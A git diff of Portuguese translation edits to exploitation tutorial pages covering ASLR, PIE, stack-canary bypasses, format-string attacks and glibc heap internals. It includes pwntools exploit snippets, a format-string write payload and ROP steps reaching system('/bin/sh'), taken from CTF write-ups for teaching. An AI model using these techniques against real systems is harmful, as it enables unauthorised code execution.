- **A pilha** —> **24 bits**, referida como `delta_stack`. No entanto, ela efetivamente usa **11 bits** (do 10º ao 20º byte inclusivo), alinhados a **16 bytes** —> Isso resulta em **524.288 endereços de pilha reais possíveis**.
Os dados anteriores são para sistemas de 32 bits e a entropia final reduzida torna possível contornar o ASLR tentando a execução repetidamente até que a exploração seja concluída com sucesso.
@ -69,7 +69,7 @@ Os dados anteriores são para sistemas de 32 bits e a entropia final reduzida to
```python
for off in range(0xb7000000, 0xb8000000, 0x1000):
```
- Se você estiver atacando um servidor remoto, pode tentar **forçar a descoberta do endereço da função `usleep` da `libc`**, passando como argumento 10 (por exemplo). Se em algum momento o **servidor demora 10s a mais para responder**, você encontrou o endereço dessa função.
- Se você estiver atacando um servidor remoto, pode tentar **forçar a descoberta do endereço da função `usleep` da `libc`**, passando como argumento 10 (por exemplo). Se em algum momento o **servidor levar 10s a mais para responder**, você encontrou o endereço dessa função.
> [!TIP]
> Em sistemas de 64 bits, a entropia é muito maior e isso não deveria ser possível.
@ -154,7 +154,7 @@ O arquivo **`/proc/[pid]/stat`** de um processo é sempre legível por todos e *
- **arg_start** & **arg_end**: Endereços acima e abaixo onde estão os **argumentos cli**.
- **env_start** & **env_end**: Endereços acima e abaixo onde estão as **variáveis de ambiente**.
Portanto, se o atacante estiver no mesmo computador que o binário sendo explorado e este binário não espera o overflow de argumentos brutos, mas de uma **entrada diferente que pode ser criada após a leitura deste arquivo**. É possível para um atacante **obter alguns endereços deste arquivo e construir offsets a partir deles para a exploração**.
Portanto, se o atacante estiver no mesmo computador que o binário sendo explorado e este binário não espera o overflow de argumentos brutos, mas de uma **entrada que pode ser elaborada após a leitura deste arquivo**. É possível para um atacante **obter alguns endereços deste arquivo e construir offsets a partir deles para a exploração**.
> [!TIP]
> Para mais informações sobre este arquivo, consulte [https://man7.org/linux/man-pages/man5/proc.5.html](https://man7.org/linux/man-pages/man5/proc.5.html) procurando por `/proc/pid/stat`
@ -163,7 +163,7 @@ Portanto, se o atacante estiver no mesmo computador que o binário sendo explora
- **O desafio é fornecer um leak**
Se você receber um leak (desafios fáceis de CTF), você pode calcular offsets a partir dele (supondo, por exemplo, que você conheça a versão exata da libc que está sendo usada no sistema que você está explorando). Este exemplo de exploração é extraído do [**exemplo daqui**](https://ir0nstone.gitbook.io/notes/types/stack/aslr/aslr-bypass-with-given-leak) (ver essa página para mais detalhes):
Se você receber um leak (desafios fáceis de CTF), pode calcular offsets a partir dele (supondo, por exemplo, que você conhece a versão exata da libc que está sendo usada no sistema que está explorando). Este exemplo de exploração é extraído do [**exemplo daqui**](https://ir0nstone.gitbook.io/notes/types/stack/aslr/aslr-bypass-with-given-leak) (ver essa página para mais detalhes):
```python
from pwn import *
@ -190,7 +190,8 @@ p.interactive()
```
- **ret2plt**
Abusando de um buffer overflow, seria possível explorar um **ret2plt** para exfiltrar um endereço de uma função da libc. Verifique:
Abusando de um buffer overflow, seria possível explorar um **ret2plt** para exfiltrar um endereço de uma função da libc. Confira:
{{#ref}}
ret2plt.md
@ -198,7 +199,7 @@ ret2plt.md
- **Format Strings Arbitrary Read**
Assim como no ret2plt, se você tiver uma leitura arbitrária através de uma vulnerabilidade de format strings, é possível exfiltrar o endereço de uma **função da libc** do GOT. O seguinte [**exemplo é daqui**](https://ir0nstone.gitbook.io/notes/types/stack/aslr/plt_and_got):
Assim como no ret2plt, se você tiver uma leitura arbitrária através de uma vulnerabilidade de format strings, é possível exfiltrar o endereço de uma **função libc** do GOT. O seguinte [**exemplo é daqui**](https://ir0nstone.gitbook.io/notes/types/stack/aslr/plt_and_got):
```python
payload = p32(elf.got['puts']) # p64() if 64-bit
payload += b'|'
@ -225,12 +226,12 @@ ret2ret.md
### vsyscall
O mecanismo **`vsyscall`** serve para melhorar o desempenho permitindo que certas chamadas de sistema sejam executadas no espaço do usuário, embora sejam fundamentalmente parte do kernel. A vantagem crítica dos **vsyscalls** reside em seus **endereços fixos**, que não estão sujeitos ao **ASLR** (Randomização de Layout de Espaço de Endereçamento). Essa natureza fixa significa que os atacantes não precisam de uma vulnerabilidade de vazamento de informações para determinar seus endereços e usá-los em um exploit.\
O mecanismo **`vsyscall`** serve para melhorar o desempenho permitindo que certas chamadas de sistema sejam executadas no espaço do usuário, embora sejam fundamentalmente parte do kernel. A vantagem crítica dos **vsyscalls** reside em seus **endereços fixos**, que não estão sujeitos ao **ASLR** (Randomização de Layout de Espaço de Endereços). Essa natureza fixa significa que os atacantes não precisam de uma vulnerabilidade de vazamento de informações para determinar seus endereços e usá-los em um exploit.\
No entanto, nenhum gadget super interessante será encontrado aqui (embora, por exemplo, seja possível obter um equivalente a `ret;`)
(O seguinte exemplo e código é [**deste writeup**](https://guyinatuxedo.github.io/15-partial_overwrite/hacklu15_stackstuff/index.html#exploitation))
Por exemplo, um atacante pode usar o endereço `0xffffffffff600800` dentro de um exploit. Enquanto tentar pular diretamente para uma instrução `ret` pode levar à instabilidade ou falhas após a execução de alguns gadgets, pular para o início de um `syscall` fornecido pela seção **vsyscall** pode se mostrar bem-sucedido. Ao colocar cuidadosamente um gadget **ROP** que leva a execução para este endereço **vsyscall**, um atacante pode conseguir execução de código sem precisar contornar o **ASLR** para esta parte do exploit.
Por exemplo, um atacante pode usar o endereço `0xffffffffff600800` dentro de um exploit. Enquanto tentar pular diretamente para uma instrução `ret` pode levar à instabilidade ou falhas após a execução de alguns gadgets, pular para o início de um `syscall` fornecido pela seção **vsyscall** pode se mostrar bem-sucedido. Ao colocar cuidadosamente um gadget **ROP** que leva a execução para este endereço **vsyscall**, um atacante pode conseguir a execução de código sem precisar contornar o **ASLR** para esta parte do exploit.
```
ef➤ vmmap
Start End Offset Perm Path
@ -275,6 +276,7 @@ gef➤ x/4i 0xffffffffff600800
Note que pode ser possível **contornar o ASLR abusando do vdso** se o kernel for compilado com CONFIG_COMPAT_VDSO, pois o endereço do vdso não será randomizado. Para mais informações, consulte:
{{#ref}}
../../rop-return-oriented-programing/ret2vdso.md
{{#endref}}

5
src/binary-exploitation/common-binary-protections-and-bypasses/pie/README.md
View File

@ -8,17 +8,18 @@ Um binário compilado como PIE, ou **Executável Independente de Posição**, si
O truque para explorar esses binários está em explorar os **endereços relativos**—os deslocamentos entre partes do programa permanecem os mesmos, mesmo que as localizações absolutas mudem. Para **burlar o PIE, você só precisa vazar um endereço**, tipicamente da **pilha** usando vulnerabilidades como ataques de string de formato. Uma vez que você tenha um endereço, pode calcular outros por seus **deslocamentos fixos**.
Uma dica útil na exploração de binários PIE é que seu **endereço base geralmente termina em 000** devido às páginas de memória serem as unidades de randomização, com tamanho de 0x1000 bytes. Este alinhamento pode ser uma **verificação crítica se um exploit não está funcionando** como esperado, indicando se o endereço base correto foi identificado.\
Uma dica útil na exploração de binários PIE é que seu **endereço base normalmente termina em 000** devido às páginas de memória serem as unidades de randomização, com tamanho de 0x1000 bytes. Este alinhamento pode ser uma **verificação crítica se um exploit não está funcionando** como esperado, indicando se o endereço base correto foi identificado.\
Ou você pode usar isso para seu exploit, se você vazar que um endereço está localizado em **`0x649e1024`** você sabe que o **endereço base é `0x649e1000`** e a partir daí você pode apenas **calcular deslocamentos** de funções e locais.
## Bypasses
Para burlar o PIE é necessário **vazar algum endereço do binário carregado**, existem algumas opções para isso:
- **ASLR Desativado**: Se o ASLR estiver desativado, um binário compilado com PIE sempre **será carregado no mesmo endereço**, portanto **o PIE será inútil** já que os endereços dos objetos sempre estarão no mesmo lugar.
- **ASLR desativado**: Se o ASLR estiver desativado, um binário compilado com PIE sempre **será carregado no mesmo endereço**, portanto **o PIE será inútil** já que os endereços dos objetos sempre estarão no mesmo lugar.
- Ser **dado** o vazamento (comum em desafios fáceis de CTF, [**ver este exemplo**](https://ir0nstone.gitbook.io/notes/types/stack/pie/pie-exploit))
- **Forçar valores de EBP e EIP** na pilha até que você vaze os corretos:
{{#ref}}
bypassing-canary-and-pie.md
{{#endref}}

17
src/binary-exploitation/common-binary-protections-and-bypasses/stack-canaries/README.md
View File

@ -6,17 +6,17 @@
**StackGuard** insere um valor especial conhecido como **canário** antes do **EIP (Extended Instruction Pointer)**, especificamente `0x000aff0d` (representando null, newline, EOF, carriage return) para proteger contra estouros de buffer. No entanto, funções como `recv()`, `memcpy()`, `read()`, e `bcopy()` permanecem vulneráveis, e não protege o **EBP (Base Pointer)**.
**StackShield** adota uma abordagem mais sofisticada do que o StackGuard, mantendo uma **Global Return Stack**, que armazena todos os endereços de retorno (**EIPs**). Essa configuração garante que qualquer estouro não cause danos, pois permite uma comparação entre os endereços de retorno armazenados e os reais para detectar ocorrências de estouro. Além disso, o StackShield pode verificar o endereço de retorno contra um valor limite para detectar se o **EIP** aponta fora do espaço de dados esperado. No entanto, essa proteção pode ser contornada por técnicas como Return-to-libc, ROP (Return-Oriented Programming), ou ret2ret, indicando que o StackShield também não protege variáveis locais.
**StackShield** adota uma abordagem mais sofisticada do que o StackGuard, mantendo uma **Global Return Stack**, que armazena todos os endereços de retorno (**EIPs**). Essa configuração garante que qualquer estouro não cause danos, pois permite uma comparação entre os endereços de retorno armazenados e os reais para detectar ocorrências de estouro. Além disso, o StackShield pode verificar o endereço de retorno em relação a um valor limite para detectar se o **EIP** aponta fora do espaço de dados esperado. No entanto, essa proteção pode ser contornada por técnicas como Return-to-libc, ROP (Return-Oriented Programming) ou ret2ret, indicando que o StackShield também não protege variáveis locais.
## **Stack Smash Protector (ProPolice) `-fstack-protector`:**
Esse mecanismo coloca um **canário** antes do **EBP**, e reorganiza variáveis locais para posicionar buffers em endereços de memória mais altos, impedindo que eles sobrescrevam outras variáveis. Ele também copia de forma segura os argumentos passados na pilha acima das variáveis locais e usa essas cópias como argumentos. No entanto, não protege arrays com menos de 8 elementos ou buffers dentro de uma estrutura de usuário.
Esse mecanismo coloca um **canário** antes do **EBP** e reorganiza variáveis locais para posicionar buffers em endereços de memória mais altos, evitando que sobrescrevam outras variáveis. Ele também copia de forma segura os argumentos passados na pilha acima das variáveis locais e usa essas cópias como argumentos. No entanto, não protege arrays com menos de 8 elementos ou buffers dentro de uma estrutura de usuário.
O **canário** é um número aleatório derivado de `/dev/urandom` ou um valor padrão de `0xff0a0000`. Ele é armazenado em **TLS (Thread Local Storage)**, permitindo que espaços de memória compartilhados entre threads tenham variáveis globais ou estáticas específicas da thread. Essas variáveis são inicialmente copiadas do processo pai, e os processos filhos podem alterar seus dados sem afetar o pai ou irmãos. No entanto, se um **`fork()` for usado sem criar um novo canário, todos os processos (pai e filhos) compartilham o mesmo canário**, tornando-o vulnerável. Na arquitetura **i386**, o canário é armazenado em `gs:0x14`, e em **x86_64**, em `fs:0x28`.
Essa proteção local identifica funções com buffers vulneráveis a ataques e injeta código no início dessas funções para colocar o canário, e no final para verificar sua integridade.
Quando um servidor web usa `fork()`, ele permite um ataque de força bruta para adivinhar o canário byte a byte. No entanto, usar `execve()` após `fork()` sobrescreve o espaço de memória, negando o ataque. `vfork()` permite que o processo filho execute sem duplicação até que tente escrever, momento em que uma duplicata é criada, oferecendo uma abordagem diferente para a criação de processos e manipulação de memória.
Quando um servidor web usa `fork()`, ele permite um ataque de força bruta para adivinhar o byte do canário byte a byte. No entanto, usar `execve()` após `fork()` sobrescreve o espaço de memória, negando o ataque. `vfork()` permite que o processo filho execute sem duplicação até que tente escrever, momento em que uma duplicata é criada, oferecendo uma abordagem diferente para a criação de processos e manipulação de memória.
### Comprimentos
@ -31,13 +31,15 @@ Em binários `x86`, o cookie do canário é um **`0x4`** byte dword. Os **primei
**Vazar o canário** e depois sobrescrevê-lo (por exemplo, estouro de buffer) com seu próprio valor.
- Se o **canário for forkado em processos filhos**, pode ser possível **forçar** um byte de cada vez:
- Se o **canário for duplicado em processos filhos**, pode ser possível **forçá-lo** byte a byte:
{{#ref}}
bf-forked-stack-canaries.md
{{#endref}}
- Se houver algum **vazamento interessante ou vulnerabilidade de leitura arbitrária** no binário, pode ser possível vazá-lo:
- Se houver alguma **vulnerabilidade de vazamento ou leitura arbitrária** interessante no binário, pode ser possível vazá-lo:
{{#ref}}
print-stack-canary.md
@ -45,7 +47,8 @@ print-stack-canary.md
- **Sobrescrevendo ponteiros armazenados na pilha**
A pilha vulnerável a um estouro de pilha pode **contém endereços para strings ou funções que podem ser sobrescritos** para explorar a vulnerabilidade sem precisar alcançar o canário da pilha. Verifique:
A pilha vulnerável a um estouro de pilha pode **contém endereços para strings ou funções que podem ser sobrescritos** a fim de explorar a vulnerabilidade sem precisar alcançar o canário da pilha. Verifique:
{{#ref}}
../../stack-overflow/pointer-redirecting.md
@ -55,7 +58,7 @@ A pilha vulnerável a um estouro de pilha pode **contém endereços para strings
Um estouro de buffer em uma função com threads protegida com canário pode ser usado para **modificar o canário mestre da thread**. Como resultado, a mitigação é inútil porque a verificação é feita com dois canários que são os mesmos (embora modificados).
Além disso, um estouro de buffer em uma função com threads protegida com canário poderia ser usado para **modificar o canário mestre armazenado no TLS**. Isso ocorre porque pode ser possível alcançar a posição de memória onde o TLS é armazenado (e, portanto, o canário) via um **bof na pilha** de uma thread.\
Além disso, um estouro de buffer em uma função com threads protegida com canário pode ser usado para **modificar o canário mestre armazenado no TLS**. Isso ocorre porque pode ser possível alcançar a posição de memória onde o TLS é armazenado (e, portanto, o canário) através de um **bof na pilha** de uma thread.\
Como resultado, a mitigação é inútil porque a verificação é feita com dois canários que são os mesmos (embora modificados).\
Esse ataque é realizado na descrição: [http://7rocky.github.io/en/ctf/htb-challenges/pwn/robot-factory/#canaries-and-threads](http://7rocky.github.io/en/ctf/htb-challenges/pwn/robot-factory/#canaries-and-threads)

2
src/binary-exploitation/common-binary-protections-and-bypasses/stack-canaries/print-stack-canary.md
View File

@ -15,7 +15,7 @@ Obviamente, essa tática é muito **restrita** já que o atacante precisa ser ca
**Exemplos de CTF:**
- [**https://guyinatuxedo.github.io/08-bof_dynamic/csawquals17_svc/index.html**](https://guyinatuxedo.github.io/08-bof_dynamic/csawquals17_svc/index.html)
- 64 bits, ASLR habilitado mas sem PIE, o primeiro passo é preencher um estouro até o byte 0x00 do canário para então chamar puts e vazar. Com o canário, um gadget ROP é criado para chamar puts e vazar o endereço de puts do GOT e um gadget ROP para chamar `system('/bin/sh')`
- 64 bits, ASLR habilitado mas sem PIE, o primeiro passo é preencher um estouro até o byte 0x00 do canário para então chamar puts e vazá-lo. Com o canário, um gadget ROP é criado para chamar puts e vazar o endereço de puts do GOT e um gadget ROP para chamar `system('/bin/sh')`
- [**https://guyinatuxedo.github.io/14-ret_2_system/hxp18_poorCanary/index.html**](https://guyinatuxedo.github.io/14-ret_2_system/hxp18_poorCanary/index.html)
- 32 bits, ARM, sem relro, canário, nx, sem pie. Estouro com uma chamada para puts nele para vazar o canário + ret2lib chamando `system` com uma cadeia ROP para pop r0 (arg `/bin/sh`) e pc (endereço de system)

19
src/binary-exploitation/format-strings/README.md
View File

@ -2,13 +2,14 @@
{{#include ../../banners/hacktricks-training.md}}
## Basic Information
Em C **`printf`** é uma função que pode ser usada para **imprimir** alguma string. O **primeiro parâmetro** que esta função espera é o **texto bruto com os formatadores**. Os **parâmetros seguintes** esperados são os **valores** para **substituir** os **formatadores** do texto bruto.
Em C **`printf`** é uma função que pode ser usada para **imprimir** alguma string. O **primeiro parâmetro** que essa função espera é o **texto bruto com os formatadores**. Os **parâmetros seguintes** esperados são os **valores** para **substituir** os **formatadores** do texto bruto.
Outras funções vulneráveis são **`sprintf()`** e **`fprintf()`**.
A vulnerabilidade aparece quando um **texto de atacante é usado como o primeiro argumento** para esta função. O atacante será capaz de criar uma **entrada especial abusando** das capacidades da **string de formato printf** para ler e **escrever qualquer dado em qualquer endereço (legível/escrevível)**. Sendo capaz assim de **executar código arbitrário**.
A vulnerabilidade aparece quando um **texto de atacante é usado como o primeiro argumento** para essa função. O atacante será capaz de criar uma **entrada especial abusando** das capacidades da **string de formato printf** para ler e **escrever qualquer dado em qualquer endereço (legível/escrevível)**. Sendo capaz assim de **executar código arbitrário**.
#### Formatters:
```bash
@ -65,14 +66,14 @@ printf("%4$x")
```
e leia diretamente o quarto.
Observe que o atacante controla o parâmetro `printf`, **o que basicamente significa que** sua entrada estará na pilha quando `printf` for chamado, o que significa que ele poderia escrever endereços de memória específicos na pilha.
Observe que o atacante controla o parâmetro `printf`, **o que basicamente significa que** sua entrada estará na pilha quando `printf` for chamado, o que significa que ele pode escrever endereços de memória específicos na pilha.
> [!CAUTION]
> Um atacante controlando essa entrada, será capaz de **adicionar endereços arbitrários na pilha e fazer com que `printf` os acesse**. Na próxima seção, será explicado como usar esse comportamento.
## **Leitura Arbitrária**
É possível usar o formatador **`%n$s`** para fazer com que **`printf`** obtenha o **endereço** situado na **n posição**, seguindo-o e **imprimí-lo como se fosse uma string** (imprimir até que um 0x00 seja encontrado). Então, se o endereço base do binário for **`0x8048000`**, e sabemos que a entrada do usuário começa na 4ª posição na pilha, é possível imprimir o início do binário com:
É possível usar o formatador **`%n$s`** para fazer com que **`printf`** obtenha o **endereço** situado na **n posição**, seguindo-o e **imprimí-lo como se fosse uma string** (imprimir até que um 0x00 seja encontrado). Então, se o endereço base do binário é **`0x8048000`**, e sabemos que a entrada do usuário começa na 4ª posição na pilha, é possível imprimir o início do binário com:
```python
from pwn import *
@ -94,7 +95,7 @@ Para encontrar o offset da sua entrada, você pode enviar 4 ou 8 bytes (`0x41414
<details>
<summary>Brute Force printf offset</summary>
<summary>Força Bruta printf offset</summary>
```python
# Code from https://www.ctfrecipes.com/pwn/stack-exploitation/format-string/data-leak
@ -141,7 +142,7 @@ Felizmente, para escrever o número 9999, não é necessário adicionar 9999 "A"
AAAA%.6000d%4\$n —> Write 6004 in the address indicated by the 4º param
AAAA.%500\$08x —> Param at offset 500
```
No entanto, note que geralmente, para escrever um endereço como `0x08049724` (que é um NÚMERO ENORME para escrever de uma vez), **usa-se `$hn`** em vez de `$n`. Isso permite **escrever apenas 2 Bytes**. Portanto, essa operação é realizada duas vezes, uma para os 2B mais altos do endereço e outra vez para os mais baixos.
No entanto, note que geralmente, para escrever um endereço como `0x08049724` (que é um NÚMERO ENORME para escrever de uma vez), **usa-se `$hn`** em vez de `$n`. Isso permite **escrever apenas 2 Bytes**. Portanto, essa operação é feita duas vezes, uma para os 2B mais altos do endereço e outra vez para os mais baixos.
Portanto, essa vulnerabilidade permite **escrever qualquer coisa em qualquer endereço (escrita arbitrária).**
@ -152,7 +153,7 @@ Neste exemplo, o objetivo será **sobrescrever** o **endereço** de uma **funç
{{#endref}}
Vamos **sobrescrever** uma **função** que **recebe** seus **argumentos** do **usuário** e **apontá-la** para a **função** **`system`**.\
Como mencionado, para escrever o endereço, geralmente são necessários 2 passos: Você **primeiro escreve 2Bytes** do endereço e depois os outros 2. Para isso, **`$hn`** é usado.
Como mencionado, para escrever o endereço, geralmente são necessários 2 passos: Você **primeiro escreve 2Bytes** do endereço e depois os outros 2. Para isso, usa-se **`$hn`**.
- **HOB** é chamado para os 2 bytes mais altos do endereço
- **LOB** é chamado para os 2 bytes mais baixos do endereço
@ -169,9 +170,9 @@ HOB LOB HOB_shellcode-8 NºParam_dir_HOB LOB_shell-HOB_shell NºParam_dir_LOB
```bash
python -c 'print "\x26\x97\x04\x08"+"\x24\x97\x04\x08"+ "%.49143x" + "%4$hn" + "%.15408x" + "%5$hn"'
```
### Modelo Pwntools
### Pwntools Template
Você pode encontrar um **modelo** para preparar um exploit para esse tipo de vulnerabilidade em:
Você pode encontrar um **template** para preparar um exploit para esse tipo de vulnerabilidade em:
{{#ref}}
format-strings-template.md

19
src/binary-exploitation/libc-heap/README.md
View File

@ -4,7 +4,7 @@
## Heap Basics
O heap é basicamente o lugar onde um programa pode armazenar dados quando solicita dados chamando funções como **`malloc`**, `calloc`... Além disso, quando essa memória não é mais necessária, ela é disponibilizada chamando a função **`free`**.
O heap é basicamente o lugar onde um programa poderá armazenar dados quando solicita dados chamando funções como **`malloc`**, `calloc`... Além disso, quando essa memória não é mais necessária, ela é disponibilizada chamando a função **`free`**.
Como mostrado, é logo após onde o binário está sendo carregado na memória (ver a seção `[heap]`):
@ -14,7 +14,7 @@ Como mostrado, é logo após onde o binário está sendo carregado na memória (
Quando alguns dados são solicitados para serem armazenados no heap, um espaço do heap é alocado para isso. Esse espaço pertencerá a um bin e apenas os dados solicitados + o espaço dos cabeçalhos do bin + o deslocamento do tamanho mínimo do bin serão reservados para o chunk. O objetivo é reservar a menor quantidade de memória possível sem complicar a localização de onde cada chunk está. Para isso, as informações de chunk de metadados são usadas para saber onde cada chunk usado/livre está.
Existem diferentes maneiras de reservar o espaço, dependendo do bin utilizado, mas uma metodologia geral é a seguinte:
Existem diferentes maneiras de reservar o espaço, dependendo principalmente do bin utilizado, mas uma metodologia geral é a seguinte:
- O programa começa solicitando uma certa quantidade de memória.
- Se na lista de chunks houver um disponível grande o suficiente para atender à solicitação, ele será usado.
@ -43,7 +43,7 @@ Subheaps servem como reservas de memória para arenas secundárias em aplicaçõ
- O heap inicial está localizado diretamente após o binário do programa na memória e se expande usando a chamada de sistema `sbrk`.
- Subheaps, usados por arenas secundárias, são criados através de `mmap`, uma chamada de sistema que mapeia uma região de memória especificada.
2. **Reserva de Memória com `mmap`**:
- Quando o gerenciador de heap cria um subheap, ele reserva um grande bloco de memória através de `mmap`. Essa reserva não aloca memória imediatamente; ela simplesmente designa uma região que outros processos do sistema ou alocações não devem usar.
- Quando o gerenciador de heap cria um subheap, ele reserva um grande bloco de memória através de `mmap`. Essa reserva não aloca memória imediatamente; ela simplesmente designa uma região que outros processos ou alocações do sistema não devem usar.
- Por padrão, o tamanho reservado para um subheap é de 1 MB para processos de 32 bits e 64 MB para processos de 64 bits.
3. **Expansão Gradual com `mprotect`**:
- A região de memória reservada é inicialmente marcada como `PROT_NONE`, indicando que o kernel não precisa alocar memória física para esse espaço ainda.
@ -74,7 +74,7 @@ char pad[-3 * SIZE_SZ & MALLOC_ALIGN_MASK];
**Cada heap** (arena principal ou outras arenas de threads) tem uma **estrutura `malloc_state`.**\
É importante notar que a **estrutura `malloc_state` da arena principal** é uma **variável global na libc** (portanto localizada no espaço de memória da libc).\
No caso das **estruturas `malloc_state`** dos heaps das threads, elas estão localizadas **dentro do "heap" da própria thread**.
No caso das estruturas **`malloc_state`** dos heaps das threads, elas estão localizadas **dentro do "heap" da própria thread**.
Há algumas coisas interessantes a notar sobre esta estrutura (veja o código C abaixo):
@ -159,11 +159,11 @@ struct malloc_chunk* bk_nextsize;
typedef struct malloc_chunk* mchunkptr;
```
Como comentado anteriormente, esses chunks também possuem alguns metadados, muito bem representados nesta imagem:
Como comentado anteriormente, esses chunks também têm alguns metadados, muito bem representados nesta imagem:
<figure><img src="../../images/image (1242).png" alt=""><figcaption><p><a href="https://azeria-labs.com/wp-content/uploads/2019/03/chunk-allocated-CS.png">https://azeria-labs.com/wp-content/uploads/2019/03/chunk-allocated-CS.png</a></p></figcaption></figure>
Os metadados geralmente são 0x08B, indicando o tamanho atual do chunk, usando os últimos 3 bits para indicar:
Os metadados geralmente são 0x08B, indicando o tamanho atual do chunk usando os últimos 3 bits para indicar:
- `A`: Se 1, vem de um subheap; se 0, está na arena principal
- `M`: Se 1, este chunk é parte de um espaço alocado com mmap e não parte de um heap
@ -181,11 +181,11 @@ Além disso, quando disponível, os dados do usuário também são usados para c
<figure><img src="../../images/image (1243).png" alt=""><figcaption><p><a href="https://azeria-labs.com/wp-content/uploads/2019/03/chunk-allocated-CS.png">https://azeria-labs.com/wp-content/uploads/2019/03/chunk-allocated-CS.png</a></p></figcaption></figure>
> [!TIP]
> Note como vincular a lista dessa forma evita a necessidade de ter um array onde cada chunk está sendo registrado.
> Note como vincular a lista dessa forma evita a necessidade de ter um array onde cada chunk individual está sendo registrado.
### Ponteiros de Chunk
Quando malloc é usado, um ponteiro para o conteúdo que pode ser escrito é retornado (logo após os cabeçalhos); no entanto, ao gerenciar chunks, é necessário um ponteiro para o início dos cabeçalhos (metadados).\
Quando malloc é usado, um ponteiro para o conteúdo que pode ser escrito é retornado (logo após os cabeçalhos), no entanto, ao gerenciar chunks, é necessário um ponteiro para o início dos cabeçalhos (metadados).\
Para essas conversões, essas funções são usadas:
```c
// https://github.com/bminor/glibc/blob/master/malloc/malloc.c
@ -261,7 +261,7 @@ req = (req + (__MTAG_GRANULE_SIZE - 1)) &
return request2size (req);
}
```
Note que, para calcular o espaço total necessário, `SIZE_SZ` é adicionado apenas 1 vez porque o campo `prev_size` pode ser usado para armazenar dados, portanto, apenas o cabeçalho inicial é necessário.
Observe que, para calcular o espaço total necessário, `SIZE_SZ` é adicionado apenas 1 vez porque o campo `prev_size` pode ser usado para armazenar dados, portanto, apenas o cabeçalho inicial é necessário.
### Obter dados do Chunk e alterar metadados
@ -504,5 +504,4 @@ heap-memory-functions/heap-functions-security-checks.md
- [https://azeria-labs.com/heap-exploitation-part-1-understanding-the-glibc-heap-implementation/](https://azeria-labs.com/heap-exploitation-part-1-understanding-the-glibc-heap-implementation/)
- [https://azeria-labs.com/heap-exploitation-part-2-glibc-heap-free-bins/](https://azeria-labs.com/heap-exploitation-part-2-glibc-heap-free-bins/)
{{#include ../../banners/hacktricks-training.md}}

51
src/binary-exploitation/libc-heap/bins-and-memory-allocations.md
View File

@ -6,18 +6,18 @@
Para melhorar a eficiência de como os chunks são armazenados, cada chunk não está apenas em uma lista encadeada, mas existem vários tipos. Estes são os bins e há 5 tipos de bins: [62](https://sourceware.org/git/gitweb.cgi?p=glibc.git;a=blob;f=malloc/malloc.c;h=6e766d11bc85b6480fa5c9f2a76559f8acf9deb5;hb=HEAD#l1407) bins pequenos, 63 bins grandes, 1 bin não ordenado, 10 bins rápidos e 64 bins tcache por thread.
O endereço inicial para cada bin não ordenado, pequeno e grande está dentro do mesmo array. O índice 0 não é utilizado, 1 é o bin não ordenado, os bins 2-64 são bins pequenos e os bins 65-127 são bins grandes.
O endereço inicial de cada bin não ordenado, pequeno e grande está dentro do mesmo array. O índice 0 não é utilizado, 1 é o bin não ordenado, os bins 2-64 são bins pequenos e os bins 65-127 são bins grandes.
### Bins Tcache (Cache por Thread)
Embora as threads tentem ter seu próprio heap (veja [Arenas](bins-and-memory-allocations.md#arenas) e [Subheaps](bins-and-memory-allocations.md#subheaps)), existe a possibilidade de que um processo com muitas threads (como um servidor web) **acabe compartilhando o heap com outras threads**. Nesse caso, a principal solução é o uso de **lockers**, que podem **reduzir significativamente a velocidade das threads**.
Portanto, um tcache é semelhante a um bin rápido por thread na forma como é uma **lista encadeada simples** que não mescla chunks. Cada thread tem **64 bins tcache encadeados**. Cada bin pode ter um máximo de [7 chunks do mesmo tamanho](https://sourceware.org/git/?p=glibc.git;a=blob;f=malloc/malloc.c;h=2527e2504761744df2bdb1abdc02d936ff907ad2;hb=d5c3fafc4307c9b7a4c7d5cb381fcdbfad340bcc#l323) variando de [24 a 1032B em sistemas de 64 bits e 12 a 516B em sistemas de 32 bits](https://sourceware.org/git/?p=glibc.git;a=blob;f=malloc/malloc.c;h=2527e2504761744df2bdb1abdc02d936ff907ad2;hb=d5c3fafc4307c9b7a4c7d5cb381fcdbfad340bcc#l315).
Portanto, um tcache é semelhante a um bin rápido por thread na forma de que é uma **lista encadeada simples** que não mescla chunks. Cada thread tem **64 bins tcache encadeados**. Cada bin pode ter um máximo de [7 chunks do mesmo tamanho](https://sourceware.org/git/?p=glibc.git;a=blob;f=malloc/malloc.c;h=2527e2504761744df2bdb1abdc02d936ff907ad2;hb=d5c3fafc4307c9b7a4c7d5cb381fcdbfad340bcc#l323) variando de [24 a 1032B em sistemas de 64 bits e 12 a 516B em sistemas de 32 bits](https://sourceware.org/git/?p=glibc.git;a=blob;f=malloc/malloc.c;h=2527e2504761744df2bdb1abdc02d936ff907ad2;hb=d5c3fafc4307c9b7a4c7d5cb381fcdbfad340bcc#l315).
**Quando uma thread libera** um chunk, **se não for muito grande** para ser alocado no tcache e o respectivo bin tcache **não estiver cheio** (já 7 chunks), **ele será alocado lá**. Se não puder ir para o tcache, precisará esperar pelo bloqueio do heap para poder realizar a operação de liberação globalmente.
Quando um **chunk é alocado**, se houver um chunk livre do tamanho necessário no **Tcache, ele o usará**, se não, precisará esperar pelo bloqueio do heap para poder encontrar um nos bins globais ou criar um novo.\
Há também uma otimização, nesse caso, enquanto tiver o bloqueio do heap, a thread **preencherá seu Tcache com chunks do heap (7) do tamanho solicitado**, para que, caso precise de mais, os encontre no Tcache.
Há também uma otimização, nesse caso, enquanto tiver o bloqueio do heap, a thread **preencherá seu Tcache com chunks do heap (7) do tamanho solicitado**, então, caso precise de mais, os encontrará no Tcache.
<details>
@ -36,7 +36,7 @@ free(chunk);
return 0;
}
```
Compile-o e depure-o com um ponto de interrupção no opcode ret da função main. Então, com gef, você pode ver o bin tcache em uso:
Compile-o e depure-o com um ponto de interrupção no opcode ret da função main. Então, com gef, você pode ver o tcache bin em uso:
```bash
gef➤ heap bins
──────────────────────────────────────────────────────────────────────────────── Tcachebins for thread 1 ────────────────────────────────────────────────────────────────────────────────
@ -149,23 +149,23 @@ memset (tcache, 0, sizeof (tcache_perthread_struct));
#### Índices Tcache
O tcache possui vários bins dependendo do tamanho e os ponteiros iniciais para o **primeiro chunk de cada índice e a quantidade de chunks por índice estão localizados dentro de um chunk**. Isso significa que, localizando o chunk com essa informação (geralmente o primeiro), é possível encontrar todos os pontos iniciais do tcache e a quantidade de chunks do Tcache.
O tcache possui vários bins dependendo do tamanho e os ponteiros iniciais para o **primeiro chunk de cada índice e a quantidade de chunks por índice estão localizados dentro de um chunk**. Isso significa que, ao localizar o chunk com essa informação (geralmente o primeiro), é possível encontrar todos os pontos iniciais do tcache e a quantidade de chunks do Tcache.
### Bins Rápidos
